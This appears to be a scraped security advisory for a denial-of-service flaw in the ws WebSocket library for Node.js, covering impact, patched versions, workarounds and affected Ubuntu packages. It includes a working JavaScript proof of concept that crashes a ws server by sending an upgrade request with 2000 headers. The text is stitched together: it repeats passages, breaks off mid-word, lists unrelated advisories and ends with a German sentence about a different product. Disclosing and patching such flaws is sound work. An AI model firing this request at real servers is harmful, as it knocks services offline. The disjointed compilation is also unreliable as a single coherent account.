ws is an open source WebSocket client and server for Node.js. A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server. The vulnerability was fixed in ws@8.17.1 (e55e510) and backported to ws@7.5.10 (22c2876), ws@6.2.3 (eeb76d3), and ws@5.2.4 (4abd8f6). In vulnerable versions of ws, the issue can be mitigated in the following ways: 1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent. 2. Set server.maxHeadersCount to 0 so that no limit is applied.

Affected: npm: ws

### Impact

A request with a number of headers exceeding the [`server.maxHeadersCount`][] threshold could be used to crash a ws server.

### Proof of concept

```js const http = require('http'); const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () { const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split(''); const headers = {}; let count = 0;

for (let i = 0; i < chars.length; i++) { if (count === 2000) break;

for (let j = 0; j < chars.length; j++) { const key = chars[i] + chars[j]; headers[key] = 'x';

if (++count === 2000) break; } }

headers.Connection = 'Upgrade'; headers.Upgrade = 'websocket'; headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ=='; headers['Sec-WebSocket-Version'] = '13';

const request = http.request({ headers: headers, host: '127.0.0.1', port: wss.address().port });

request.end(); }); ```

### Patches

The vulnerability was fixed in ws@8.17.1 (https://github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c) and backported to ws@7.5.10 (https://github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f), ws@6.2.3 (https://github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63), and ws@5.2.4 (https://github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e).

### Workarounds

In vulnerable versions of ws, the issue can be mitigated in the following ways:

1. Redu…

http-proxy-middleware: http-proxy-middleware: Denial of Service via unhandled error during path matching nodejs-ws: denial of service when handling a request with many HTTP headers body-parser: Denial of Service Vulnerability in body-parser

Affected: Ubuntu:16.04:LTS: node-ws, Ubuntu:18.04:LTS: node-ws, Ubuntu:20.04:LTS: node-ws, Ubuntu:22.04:LTS: node-ws, Ubuntu:24.04:LTS: node-ws, Ubuntu:25.10: node-ws, Ubuntu:26.04:LTS: node-ws

ws is an open source WebSocket client and server for Node.js. A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server. The vulnerability was fixed in ws@8.17.1 (e55e510) and backported to ws@7.5.10 (22c2876), ws@6.2.3 (eeb76d3), and ws@5.2.4 (4abd8f6). In vulnerable versions of ws, the issue can be mitigated in the following ways: 1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent. 2. Set server.maxHeadersCount to 0 so that no limit is applied.

Ein entfernter, anonymer Angreifer kann eine Schwachstelle in IBM App Connect Enterprise ausnutzen, um einen Denial of Service Angriff durchzuführen.